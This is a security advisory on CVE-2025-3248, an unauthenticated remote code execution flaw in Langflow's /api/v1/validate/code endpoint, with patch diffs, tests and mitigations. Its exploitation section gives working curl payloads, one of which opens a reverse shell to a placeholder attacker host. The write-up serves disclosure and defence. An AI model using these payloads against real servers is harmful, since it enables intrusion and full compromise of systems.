CVE-2025-3248: Critical Code Injection Vulnerability in Langflow
Executive Summary
CVE-2025-3248 is a critical code injection vulnerability affecting Langflow versions prior to 1.3.0. This vulnerability allows a remote, unauthenticated attacker to execute arbitrary code on the server by sending crafted HTTP requests to the /api/v1/validate/code
endpoint. With a CVSS score of 9.8, this vulnerability poses a significant risk, potentially leading to full system compromise.
Technical Details
- CVE ID: CVE-2025-3248
- Affected Software: Langflow
- Affected Versions: Versions prior to 1.3.0
- Vulnerability Type: Code Injection
- Attack Vector: Remote, Unauthenticated
- CVSS Score: 9.8 (Critical)
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Affected Endpoint:
/api/v1/validate/code
The vulnerability resides in the /api/v1/validate/code
endpoint, which is intended for validating code snippets. Due to the absence of proper authentication and input sanitization, an attacker can inject malicious code into this endpoint, leading to arbitrary code execution on the server.
Root Cause Analysis
The root cause of CVE-2025-3248 is the lack of authentication and insufficient input validation on the /api/v1/validate/code
endpoint. The endpoint directly processes user-supplied code without verifying the user's identity or sanitizing the input. This allows an attacker to inject arbitrary Python code, which is then executed by the Langflow server.
The vulnerable code snippet is located in src/backend/base/langflow/api/v1/validate.py
. Prior to version 1.3.0, the post_validate_code
function lacked authentication.
from fastapi import APIRouter, HTTPException
from loguru import logger
from langflow.api.v1.base import Code, CodeValidationResponse, PromptValidationResponse, ValidatePromptRequest
from langflow.base.prompts.api_utils import process_prompt_template
from langflow.utils.validate import validate_code
router = APIRouter(prefix="/validate")
@router.post("/code", status_code=200)
async def post_validate_code(code: Code) -> CodeValidationResponse:
try:
errors = validate_code(code.code)
return CodeValidationResponse(
**{"imports": {"errors": []}, "function": {"errors": errors}}
)
except Exception as e:
logger.exception(e)
raise HTTPException(status_code=500, detail=str(e)) from e
The post_validate_code
function directly takes the code
parameter from the request body and passes it to the validate_code
function. The validate_code
function, in turn, executes the provided code within the Langflow server's environment. Without authentication, any user can send a POST request to this endpoint with malicious code, leading to remote code execution.
Patch Analysis
The fix for CVE-2025-3248, implemented in Langflow version 1.3.0, addresses the lack of authentication on the /api/v1/validate/code
endpoint. The patch introduces an authentication check to ensure that only authenticated users can access and use this endpoint.
The following diff
shows the changes made to src/backend/base/langflow/api/v1/validate.py
:
--- a/src/backend/base/langflow/api/v1/validate.py
+++ b/src/backend/base/langflow/api/v1/validate.py
@@ -1,6 +1,7 @@
from fastapi import APIRouter, HTTPException
from loguru import logger
+from langflow.api.utils import CurrentActiveUser
from langflow.api.v1.base import Code, CodeValidationResponse, PromptValidationResponse, ValidatePromptRequest
from langflow.base.prompts.api_utils import process_prompt_template
from langflow.utils.validate import validate_code
@@ -10,7 +11,7 @@
@router.post("/code", status_code=200)
-async def post_validate_code(code: Code) -> CodeValidationResponse:
+async def post_validate_code(code: Code, _current_user: CurrentActiveUser) -> CodeValidationResponse:
try:
errors = validate_code(code.code)
return CodeValidationResponse(
This patch adds _current_user: CurrentActiveUser
as a parameter to the post_validate_code
function. This parameter is a dependency that enforces authentication. The CurrentActiveUser
dependency checks for a valid user session and raises an exception if the user is not authenticated. This effectively prevents unauthenticated users from accessing the /api/v1/validate/code
endpoint and injecting malicious code.
The following diff
shows the changes made to src/backend/tests/unit/api/v1/test_validate.py
:
--- a/src/backend/tests/unit/api/v1/test_validate.py
+++ b/src/backend/tests/unit/api/v1/test_validate.py
@@ -1,14 +1,16 @@
+import pytest
from fastapi import status
from httpx import AsyncClient
-async def test_post_validate_code(client: AsyncClient):
+@pytest.mark.usefixtures("active_user")
+async def test_post_validate_code(client: AsyncClient, logged_in_headers):
good_code = """
from pprint import pprint
var = {"a": 1, "b": 2}
pprint(var)
"""
- response = await client.post("api/v1/validate/code", json={"code": good_code})
+ response = await client.post("api/v1/validate/code", json={"code": good_code}, headers=logged_in_headers)
result = response.json()
assert response.status_code == status.HTTP_200_OK
@@ -17,7 +19,8 @@ async def test_post_validate_code(client: AsyncClient):
assert "function" in result, "The result must have a \'function\' key"\
-async def test_post_validate_prompt(client: AsyncClient):
+@pytest.mark.usefixtures("active_user")
+async def test_post_validate_prompt(client: AsyncClient, logged_in_headers):
basic_case = {
"name": "string",
"template": "string",
@@ -48,10 +51,29 @@ async def test_post_validate_prompt(client: AsyncClient):
"metadata": {},\
},\
}\
- response = await client.post("api/v1/validate/prompt", json=basic_case)
+ response = await client.post("api/v1/validate/prompt", json=basic_case, headers=logged_in_headers)
result = response.json()
assert response.status_code == status.HTTP_200_OK
assert isinstance(result, dict), "The result must be a dictionary"
assert "frontend_node" in result, "The result must have a \'frontend_node\' key"
assert "input_variables" in result, "The result must have an \'input_variables\' key"
+
+
+@pytest.mark.usefixtures("active_user")
+async def test_post_validate_prompt_with_invalid_data(client: AsyncClient, logged_in_headers):
+ invalid_case = {
+ "name": "string",
+ # Missing required fields
+ "frontend_node": {"template": {}, "is_input": True},\
+ }\
+ response = await client.post("api/v1/validate/prompt", json=invalid_case, headers=logged_in_headers)
+ assert response.status_code == status.HTTP_422_UNPROCESSABLE_ENTITY
+
+
+async def test_post_validate_code_with_unauthenticated_user(client: AsyncClient):
+ code = """
+ print("Hello World")
+ """
+ response = await client.post("api/v1/validate/code", json={"code": code}, headers={"Authorization": "Bearer fake"})
+ assert response.status_code == status.HTTP_401_UNAUTHORIZED
The tests were updated to include logged_in_headers
to simulate authenticated requests. A new test case, test_post_validate_code_with_unauthenticated_user
, was added to verify that unauthenticated requests to the /api/v1/validate/code
endpoint now return a 401 Unauthorized error.
The following diff
shows the changes made to src/backend/tests/unit/test_endpoints.py
:
--- a/src/backend/tests/unit/test_endpoints.py
+++ b/src/backend/tests/unit/test_endpoints.py
@@ -127,15 +127,16 @@ async def test_get_all(client: AsyncClient, logged_in_headers):
assert "ChatOutput" in json_response["outputs"]
-async def test_post_validate_code(client: AsyncClient):
+@pytest.mark.usefixtures("active_user")
+async def test_post_validate_code(client: AsyncClient, logged_in_headers):
# Test case with a valid import and function
code1 = """
import math
def square(x):
return x ** 2
-"""
- response1 = await client.post("api/v1/validate/code", json={"code": code1})
+"""\
+ response1 = await client.post("api/v1/validate/code", json={"code": code1}, headers=logged_in_headers)
assert response1.status_code == 200
assert response1.json() == {"imports": {"errors": []}, "function": {"errors": []}}
@@ -146,7 +147,7 @@ def square(x):\
def square(x):\
return x ** 2
"""
- response2 = await client.post("api/v1/validate/code", json={"code": code2})
+ response2 = await client.post("api/v1/validate/code", json={"code": code2}, headers=logged_in_headers)
assert response2.status_code == 200
assert response2.json() == {
"imports": {"errors": ["No module named \'non_existent_module\'"]},\
@@ -160,7 +161,7 @@ def square(x):\
def square(x)\
return x ** 2
"""
- response3 = await client.post("api/v1/validate/code", json={"code": code3})
+ response3 = await client.post("api/v1/validate/code", json={"code": code3}, headers=logged_in_headers)
assert response3.status_code == 200
assert response3.json() == {
"imports": {"errors": []},\
@@ -169,11 +170,11 @@
}\
# Test case with invalid JSON payload
- response4 = await client.post("api/v1/validate/code", json={"invalid_key": code1})
+ response4 = await client.post("api/v1/validate/code", json={"invalid_key": code1}, headers=logged_in_headers)
assert response4.status_code == 422
# Test case with an empty code string
- response5 = await client.post("api/v1/validate/code", json={"code": ""})
+ response5 = await client.post("api/v1/validate/code", json={"code": ""}, headers=logged_in_headers)
assert response5.status_code == 200
assert response5.json() == {"imports": {"errors": []}, "function": {"errors": []}}
@@ -183,7 +184,7 @@ def square(x)\
def square(x)\
return x ** 2
"""
- response6 = await client.post("api/v1/validate/code", json={"code": code6})
+ response6 = await client.post("api/v1/validate/code", json={"code": code6}, headers=logged_in_headers)
assert response6.status_code == 200
assert response6.json() == {
"imports": {"errors": []},\
Similar to the previous test file, the tests in this file were updated to include logged_in_headers
to simulate authenticated requests.
Exploitation Techniques
Prior to version 1.3.0, an attacker could exploit CVE-2025-3248 by sending a POST request to the /api/v1/validate/code
endpoint with a malicious Python code payload. The server would then execute this code, granting the attacker arbitrary code execution.
Here's a proof-of-concept (PoC) example using curl
:
curl -X POST -H "Content-Type: application/json" -d '{"code": "import os; os.system(\"touch /tmp/pwned\")"}' http://<langflow-server>/api/v1/validate/code
This command sends a POST request to the /api/v1/validate/code
endpoint with a JSON payload containing the malicious code. The code uses the os.system
function to execute the command touch /tmp/pwned
on the server. If the exploit is successful, a file named pwned
will be created in the /tmp
directory on the Langflow server.
Another example, to achieve reverse shell:
curl -X POST -H "Content-Type: application/json" -d '{"code": "import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ATTACKER_IP\",ATTACKER_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call([\"/bin/sh\",\"-i\"])"}' http://<langflow-server>/api/v1/validate/code
Replace ATTACKER_IP
and ATTACKER_PORT
with your attacker machine's IP address and listening port.
Attack Scenario:
- The attacker identifies a Langflow instance running a version prior to 1.3.0.
- The attacker crafts a malicious Python code payload designed to execute arbitrary commands on the server.
- The attacker sends a POST request to the
/api/v1/validate/code
endpoint with the malicious payload. - The Langflow server executes the attacker's code, granting the attacker control over the server.
- The attacker can then use this access to steal sensitive data, modify system files, or launch further attacks.
Real-World Impacts:
- Remote Code Execution: Attackers can execute arbitrary code on the Langflow server.
- Full System Compromise: Gaining complete control of the affected Langflow instance is possible.
- Data Breach: Attackers can access and steal sensitive data stored on the server.
- Denial of Service: Attackers can disrupt services by crashing the server or modifying critical system files.
- Supply Chain Attacks: If the Langflow instance is used in a development or deployment pipeline, attackers can use this vulnerability to compromise other systems or applications.
Mitigation Strategies
To mitigate the risk of CVE-2025-3248, the following strategies are recommended:
- Upgrade to Langflow 1.3.0 or later: This is the primary and most effective mitigation. Upgrading to the latest version of Langflow will patch the vulnerability and prevent attackers from exploiting it.
- Implement Network Segmentation: Isolate the Langflow instance from other critical systems on the network. This can limit the impact of a successful attack by preventing the attacker from moving laterally to other systems.
- Web Application Firewall (WAF): Deploy a WAF to filter malicious requests to the
/api/v1/validate/code
endpoint. The WAF can be configured to block requests containing suspicious code patterns or payloads. - Regular Security Audits: Conduct regular security audits to identify and address potential vulnerabilities in the Langflow instance and its environment.
- Input Validation and Sanitization (Theoretical): While upgrading is the best solution, if immediate upgrade is not possible, implement strict input validation and sanitization on the
/api/v1/validate/code
endpoint. This involves carefully examining the code submitted by users and removing any potentially malicious code before it is executed. However, this is a complex task and may not be fully effective in preventing all attacks.
Timeline of Discovery and Disclosure
- 2025-03-04: Patch committed to GitHub.
- 2025-04-04: CVE ID reserved.
- 2025-04-07: CVE-2025-3248 publicly disclosed.
- 2025-04-07: Langflow version 1.3.0 released with the fix.
- 2025-04-08: CISA ADP Vulnrichment updated.
References
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-3248
- GitHub Advisory: https://github.com/advisories/GHSA-c995-4fw3-j39m
- Langflow Repository: https://github.com/langflow-ai/langflow
- Patch: https://github.com/langflow-ai/langflow/pull/6911
- Release Notes: https://github.com/langflow-ai/langflow/releases/tag/1.3.0
- Technical Blog: https://thesecmaster.com/blog/how-to-fix-cve-2025-3248-a-critical-code-injection-vulnerability-in-langflow-with